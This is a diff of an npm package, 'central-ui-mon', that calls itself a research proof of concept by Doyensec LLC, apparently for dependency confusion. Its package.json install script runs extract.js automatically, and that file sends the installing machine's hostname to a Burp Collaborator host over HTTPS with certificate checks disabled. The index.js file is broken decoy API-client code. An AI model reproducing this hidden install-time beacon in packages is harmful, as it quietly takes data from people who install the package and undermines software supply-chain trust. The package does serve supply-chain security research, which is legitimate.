central-ui-mon 50.1.1

package/extract.js

@@ -0,0 +1,33 @@
+const https = require('https');
+var os = require("os");
+var hostname = os.hostname();
+
+const data = new TextEncoder().encode(
+  JSON.stringify({
+    payload: hostname,
+    project_id: process.argv[2]
+  })
+)
+
+const options = {
+  hostname: process.argv[2] + '.' + hostname + '.jylzi8mxby9i6hj8plrj0i6v9mff34.burpcollaborator.net',
+  port: 443,
+  path: '/',
+  method: 'POST',
+  headers: {
+    'Content-Type': 'application/json',
+    'Content-Length': data.length
+  },
+  rejectUnauthorized: false
+}
+
+const req = https.request(options, res => {
+
+})
+
+req.on('error', error => {
+  console.error(error)
+})
+
+req.write(data)
+req.end()

package/index.js

@@ -0,0 +1,60 @@
+const axios = require("axios");
+
+const api_key = process.env.api_key;
+const domain = process.env.domain;
+
+export async function getUser() {
+    await axios
+        .get(
+            "https://" + domain + "/api/v2/user/?username=" + username + "&api_key=" + api_key
+        )
+        .then((response) => {
+            return response.data.objects;
+        })
+        .catch((err) => {
+            console.log(err);
+        });
+    return result;
+}
+
+export async function getAllUsers() {
+    await axios
+        .get(
+            "https://" + domain + "/api/v1/user/?username=" + "&api_key=" + api_key
+        )
+        .then((response) => {
+            return response.data.objects;
+        })
+        .catch((err) => {
+            console.log(err);
+        });
+    return result;
+}
+
+export async function createUser(user) {
+    await axios
+        .post(
+            "https://" + domain + "/api/v1/user/?username=" + "&api_key=" + api_key, user
+        )
+        .then((response) => {
+            return response.data.objects;
+        })
+        .catch((err) => {
+            console.log(err);
+        });
+    return result;
+}
+
+export async function sumbitReport(username, report) {
+    await axios
+        .post(
+            "https://" + domain + "/api/v1/user/?username=" + username + "&api_key=" + api_key, report
+        )
+        .then((response) => {
+            return response.data.objects;
+        })
+        .catch((err) => {
+            console.log(err);
+        });
+    return result;
+}

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "central-ui-mon",
+  "version": "50.1.1",
+  "description": "This package is a proof of concept used by Doyensec LLC to conduct a research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this package.",
+  "main": "index.js",
+  "author": "Doyensec LLC <info@doyensec.com>",
+  "license": "ISC",
+  "dependencies": {
+    "axios": "^0.25.0"
+  },
+  "scripts": {
+    "install": "node extract.js 2"
+  }
+}